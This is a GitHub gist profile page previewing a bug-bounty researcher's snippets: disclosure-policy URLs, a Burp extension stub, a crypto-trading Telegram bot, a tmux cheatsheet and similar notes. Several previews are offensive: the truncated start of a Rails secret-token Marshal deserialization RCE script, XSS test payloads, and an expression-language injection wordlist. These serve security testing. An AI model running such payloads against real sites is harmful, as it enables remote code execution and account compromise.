Skip to content

Instantly share code, notes, and snippets.

View arbazkiraak's full-sized avatar
✨
Focusing

Arbaz Hussain arbazkiraak

✨
Focusing
368 followers · 1.1k following
View GitHub Profile
@arbazkiraak
arbazkiraak / bbprograms.txt
Created November 7, 2019 13:54 — forked from haxcited/bbprograms.txt
google dork -> site:.co.uk inurl:"responsible disclosure"
https://registry.internetnz.nz/about/vulnerability-disclosure-policy/
http://www.123contactform.com/security-acknowledgements.htm
https://18f.gsa.gov/vulnerability-disclosure-policy/
https://support.1password.com/security-assessments/
https://www.23andme.com/security-report/
https://www.abnamro.com/en/footer/responsible-disclosure.html
https://www.accenture.com/us-en/company-accenture-responsible-disclosure
https://www.accredible.com/white_hat/
https://www.acquia.com/how-report-security-issue
@arbazkiraak
arbazkiraak / phantonjs-xss.html
Last active September 15, 2019 23:47 — forked from yeukhon/test.html
Simple XSS detector using PhantomJS
<html>
<head></head>
<body>
<a href="javascript: alert('clicked xss link')" id="link">click me</a>
<img src="xx" onerror="alert('xss')" />
</body>
</html>
@arbazkiraak
arbazkiraak / rails-secret-token-rce.rb
Created September 14, 2019 19:35 — forked from rootxharsh/rails-secret-token-rce.rb
Rails Secret Token RCE.
#THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
require 'base64'
require 'openssl'
require 'optparse'
require 'open-uri'
SECRET_TOKEN = "SECRET HERE"
code = "eval('`COMMAND HERE`')"
marshal_payload = Base64.encode64(
"\x04\x08" +
"o" +
@arbazkiraak
arbazkiraak / test.jpg
Created April 11, 2019 07:35
nothing'>"/><ScRipt>prompt(1)</ScRipt>
nothing'>"/><ScRipt>prompt(1)</ScRipt>nothing'>"/><ScRipt>prompt(1)</ScRipt>nothing'>"/><ScRipt>prompt(1)</ScRipt>nothing'>"/><ScRipt>prompt(1)</ScRipt>
@arbazkiraak
arbazkiraak / offsets
Created March 26, 2019 15:26
[array('i', [143, 150]),
array('i', [207, 214]),
array('i', [753, 760]),
array('i', [931, 938]),
array('i', [1140, 1147]),
array('i', [1390, 1397]),
array('i', [1543, 1550]),
array('i', [1666, 1673]),
array('i', [1950, 1957]),
array('i', [4193, 4200]),
@arbazkiraak
arbazkiraak / gist:77bb058366e5d646cf4f58869e4da190
Created November 19, 2018 00:37
from burp import IBurpExtender,IProxyListener
class BurpExtender(IBurpExtender,IProxyListener):
def registerExtenderCallbacks(self,callbacks):
self._helpers = callbacks.getHelpers()
self._callbacks = callbacks
self._callbacks.setExtensionName("IProxyListener Params")
self._callbacks.registerProxyListener(self)
def processProxyMessage(self,messageIsRequest,message):
@arbazkiraak
arbazkiraak / jsp-jstl-intruders.txt
Last active April 24, 2023 02:06
wordlist generated Based on : https://medium.com/@adrien_jeanneau/how-i-was-able-to-list-some-internal-information-from-paypal-bugbounty-ca8d217a397c
${0 }
${0 == pageList.maxPage}
${1}
${1 eq currentPageNumber }
${5}
${5/6}
${a+1 }
${a.academyName}
${a.academyNumber}
${academyNumber==a.academyNumber}
@arbazkiraak
arbazkiraak / CryptoBot.py
Last active July 21, 2021 08:14
Telegram Bot to automate basics of Crypto Trading
import requests,json,bs4,time,threading,datetime,logging
from binance.client import Client
requests.packages.urllib3.disable_warnings()
from telegram.ext import Updater
from telegram.ext import CommandHandler
from telegram.ext.dispatcher import run_async
########### KEYS #######################
updater = Updater(token='<TELEGRAM-TOKEN>')
dispatcher = updater.dispatcher
@arbazkiraak
arbazkiraak / tmux_cheatsheet.markdown
Created March 17, 2018 10:10 — forked from henrik/tmux_cheatsheet.markdown
tmux cheatsheet

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@arbazkiraak
arbazkiraak / gist:fb737f1f745ae07193860762f8710935
Created November 12, 2017 15:42 — forked from evilpacket/gist:3628941
Top 1000 from Alexa Top 1million
wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip;unzip top-1m.csv.zip; awk -F ',' '{print $2}' top-1m.csv|head -1000 > top-1000.txt; rm top-1m.csv*